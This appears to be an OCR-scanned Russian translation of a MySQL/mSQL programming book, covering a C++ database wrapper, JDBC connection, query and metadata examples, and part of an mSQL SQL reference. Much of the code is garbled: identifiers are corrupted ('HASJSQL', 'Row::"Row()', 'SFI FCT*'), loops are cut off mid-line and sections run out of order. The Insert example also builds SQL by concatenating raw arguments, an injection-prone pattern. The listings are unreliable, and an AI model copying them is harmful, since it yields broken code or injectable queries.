    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

